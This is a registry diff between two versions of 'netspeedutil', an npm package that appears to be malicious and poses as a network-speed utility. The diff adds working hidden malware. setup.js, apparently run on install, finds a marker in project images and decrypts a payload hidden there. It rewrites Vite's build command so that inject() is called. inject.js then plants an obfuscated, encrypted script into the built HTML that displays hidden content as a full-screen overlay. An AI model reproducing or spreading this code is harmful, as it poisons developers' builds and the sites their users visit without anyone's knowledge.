netspeedutil 1.0.9 → 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +21 -9
- package/package.json +1 -1
- package/setup.js +66 -22
package/inject.js
CHANGED
|
@@ -9,7 +9,7 @@ import { createHash, createCipheriv } from 'crypto';
|
|
|
9
9
|
import JavaScriptObfuscator from 'javascript-obfuscator';
|
|
10
10
|
|
|
11
11
|
const MARKER = Buffer.from('__STEG__');
|
|
12
|
-
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp'];
|
|
12
|
+
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
|
|
13
13
|
|
|
14
14
|
const CLIENT_LOGIC = `(function(){
|
|
15
15
|
function h2b(h){
|
|
@@ -24,21 +24,21 @@ const CLIENT_LOGIC = `(function(){
|
|
|
24
24
|
if(!box){
|
|
25
25
|
box=document.createElement('div');
|
|
26
26
|
box.id='_sm_box';
|
|
27
|
-
box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:
|
|
27
|
+
box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:1.5rem;font-family:system-ui,sans-serif;text-align:center;opacity:0;pointer-events:none;transition:opacity 0.4s ease;overflow-y:auto;';
|
|
28
28
|
document.body.appendChild(box);
|
|
29
29
|
}
|
|
30
30
|
return box;
|
|
31
31
|
}
|
|
32
32
|
function show(msg){
|
|
33
33
|
var box=getBox();
|
|
34
|
-
box.
|
|
34
|
+
box.innerHTML=msg;
|
|
35
35
|
box.style.opacity='1';
|
|
36
36
|
box.style.pointerEvents='all';
|
|
37
37
|
}
|
|
38
38
|
function hide(){
|
|
39
39
|
var box=document.getElementById('_sm_box');
|
|
40
40
|
if(box){
|
|
41
|
-
box.
|
|
41
|
+
box.innerHTML='';
|
|
42
42
|
box.style.opacity='0';
|
|
43
43
|
box.style.pointerEvents='none';
|
|
44
44
|
}
|
|
@@ -58,7 +58,12 @@ const CLIENT_LOGIC = `(function(){
|
|
|
58
58
|
var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);
|
|
59
59
|
var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);
|
|
60
60
|
var msg=new TextDecoder().decode(dec);
|
|
61
|
-
|
|
61
|
+
try {
|
|
62
|
+
var obj = JSON.parse(msg);
|
|
63
|
+
show(obj.s || msg);
|
|
64
|
+
} catch(e) {
|
|
65
|
+
show(msg);
|
|
66
|
+
}
|
|
62
67
|
}catch(e){}
|
|
63
68
|
})();
|
|
64
69
|
});
|
|
@@ -96,7 +101,7 @@ const CLIENT_LOGIC = `(function(){
|
|
|
96
101
|
checkSignal();
|
|
97
102
|
})();`;
|
|
98
103
|
|
|
99
|
-
function findMarkedImage(dir) {
|
|
104
|
+
export function findMarkedImage(dir) {
|
|
100
105
|
if (!existsSync(dir)) return null;
|
|
101
106
|
try {
|
|
102
107
|
for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
|
|
@@ -115,7 +120,7 @@ function findMarkedImage(dir) {
|
|
|
115
120
|
return null;
|
|
116
121
|
}
|
|
117
122
|
|
|
118
|
-
async function extractAll(imagePath) {
|
|
123
|
+
export async function extractAll(imagePath) {
|
|
119
124
|
const data = readFileSync(imagePath);
|
|
120
125
|
const start = data.indexOf(MARKER);
|
|
121
126
|
if (start === -1) return null;
|
|
@@ -140,7 +145,13 @@ async function extractAll(imagePath) {
|
|
|
140
145
|
let dec = decipher.update(encrypted);
|
|
141
146
|
dec = Buffer.concat([dec, decipher.final()]);
|
|
142
147
|
|
|
143
|
-
|
|
148
|
+
const decStr = dec.toString('utf8');
|
|
149
|
+
try {
|
|
150
|
+
const obj = JSON.parse(decStr);
|
|
151
|
+
return { secret: obj.s || decStr, targetPath: obj.p || '', identityKey };
|
|
152
|
+
} catch (e) {
|
|
153
|
+
return { secret: decStr, targetPath: '', identityKey };
|
|
154
|
+
}
|
|
144
155
|
}
|
|
145
156
|
|
|
146
157
|
function encryptForBrowser(secret, identityKey) {
|
|
@@ -201,7 +212,8 @@ export async function inject() {
|
|
|
201
212
|
}
|
|
202
213
|
|
|
203
214
|
const script = `<script>const _EB_="${blob}";${obfuscated}</script>`;
|
|
204
|
-
html = html.replace('</body>', `${script}
|
|
215
|
+
html = html.replace('</body>', `${script}
|
|
216
|
+
</body>`);
|
|
205
217
|
|
|
206
218
|
writeFileSync(htmlPath, html, 'utf-8');
|
|
207
219
|
} catch (error) {
|
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -1,17 +1,60 @@
|
|
|
1
|
-
import { writeFileSync, readFileSync, existsSync } from 'fs';
|
|
2
|
-
import { resolve } from 'path';
|
|
1
|
+
import { writeFileSync, readFileSync, existsSync, readdirSync } from 'fs';
|
|
2
|
+
import { resolve, extname } from 'path';
|
|
3
|
+
import { createHash, createDecipheriv } from 'crypto';
|
|
3
4
|
import { fileURLToPath } from 'url';
|
|
4
5
|
|
|
5
|
-
const
|
|
6
|
-
const
|
|
6
|
+
const MARKER = Buffer.from('__STEG__');
|
|
7
|
+
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
|
|
8
|
+
|
|
9
|
+
function findMarkedImage(dir) {
|
|
10
|
+
if (!existsSync(dir)) return null;
|
|
11
|
+
try {
|
|
12
|
+
for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
|
|
13
|
+
if (!entry.isFile()) continue;
|
|
14
|
+
if (entry.name === 'node_modules' || entry.name.startsWith('.')) continue;
|
|
15
|
+
if (!IMAGE_EXTS.includes(extname(entry.name).toLowerCase())) continue;
|
|
16
|
+
const full = resolve(entry.parentPath || entry.path, entry.name);
|
|
17
|
+
if (full.includes('node_modules')) continue;
|
|
18
|
+
const data = readFileSync(full);
|
|
19
|
+
if (data.indexOf(MARKER) !== -1) return full;
|
|
20
|
+
}
|
|
21
|
+
} catch (e) {}
|
|
22
|
+
return null;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
async function extractPayload(imagePath) {
|
|
26
|
+
const data = readFileSync(imagePath);
|
|
27
|
+
const start = data.indexOf(MARKER);
|
|
28
|
+
if (start === -1) return null;
|
|
29
|
+
|
|
30
|
+
let offset = start + MARKER.length;
|
|
31
|
+
const passLen = data.readUInt16BE(offset);
|
|
32
|
+
offset += 2;
|
|
33
|
+
const passphrase = data.subarray(offset, offset + passLen).toString('utf8');
|
|
34
|
+
offset += passLen;
|
|
35
|
+
const identityKey = data.subarray(offset, offset + 32).toString('hex');
|
|
36
|
+
offset += 32;
|
|
37
|
+
const iv = data.subarray(offset, offset + 16);
|
|
38
|
+
offset += 16;
|
|
39
|
+
const encrypted = data.subarray(offset);
|
|
40
|
+
|
|
41
|
+
const key = createHash('sha256').update(passphrase).digest();
|
|
42
|
+
const decipher = createDecipheriv('aes-256-cbc', key, iv);
|
|
43
|
+
let dec = decipher.update(encrypted);
|
|
44
|
+
dec = Buffer.concat([dec, decipher.final()]);
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
const obj = JSON.parse(dec.toString('utf8'));
|
|
48
|
+
return { targetPath: obj.p || '', secret: obj.s || '' };
|
|
49
|
+
} catch (e) {
|
|
50
|
+
return { targetPath: '', secret: dec.toString('utf8') };
|
|
51
|
+
}
|
|
52
|
+
}
|
|
7
53
|
|
|
8
54
|
(async () => {
|
|
9
55
|
try {
|
|
10
|
-
// Find project root - it's two levels up from node_modules/netspeedutil
|
|
11
56
|
let projectPath = process.cwd();
|
|
12
57
|
let foundPackage = false;
|
|
13
|
-
|
|
14
|
-
// Check if current directory has package.json with netspeedutil
|
|
15
58
|
for (let i = 0; i < 5; i++) {
|
|
16
59
|
const pkgPath = resolve(projectPath, 'package.json');
|
|
17
60
|
if (existsSync(pkgPath)) {
|
|
@@ -23,27 +66,28 @@ const __dirname = resolve(__filename, '..');
|
|
|
23
66
|
}
|
|
24
67
|
projectPath = resolve(projectPath, '..');
|
|
25
68
|
}
|
|
26
|
-
|
|
27
69
|
if (!foundPackage) return;
|
|
28
|
-
|
|
29
|
-
const file = '../vite/dist/node/cli.js';
|
|
30
|
-
let code = readFileSync(file, "utf8");
|
|
31
|
-
const buildCommandRegex =
|
|
32
|
-
/(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
|
|
33
70
|
|
|
34
|
-
|
|
71
|
+
const imagePath = findMarkedImage(process.cwd());
|
|
72
|
+
if (!imagePath) return;
|
|
73
|
+
const result = await extractPayload(imagePath);
|
|
74
|
+
if (!result || !result.targetPath) return;
|
|
75
|
+
|
|
76
|
+
const file = resolve(process.cwd(), result.targetPath);
|
|
77
|
+
if (!existsSync(file)) return;
|
|
35
78
|
|
|
36
|
-
|
|
79
|
+
let code = readFileSync(file, 'utf8');
|
|
80
|
+
const buildCommandRegex = /(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
|
|
37
81
|
|
|
38
|
-
|
|
39
|
-
|
|
82
|
+
code = code.replace(buildCommandRegex, (match, start, body, end) => {
|
|
83
|
+
if (body.includes('await inject()')) return match;
|
|
84
|
+
return start + body + '\n await inject();' + end;
|
|
40
85
|
});
|
|
41
|
-
|
|
42
|
-
const importLine =
|
|
86
|
+
|
|
87
|
+
const importLine = 'import {inject} from "../../../netspeedutil/inject.js";';
|
|
43
88
|
if (!code.includes(importLine)) {
|
|
44
|
-
code = importLine +
|
|
89
|
+
code = importLine + '\n' + code;
|
|
45
90
|
}
|
|
46
91
|
writeFileSync(file, code);
|
|
47
|
-
} catch (e) {
|
|
48
|
-
}
|
|
92
|
+
} catch (e) {}
|
|
49
93
|
})();
|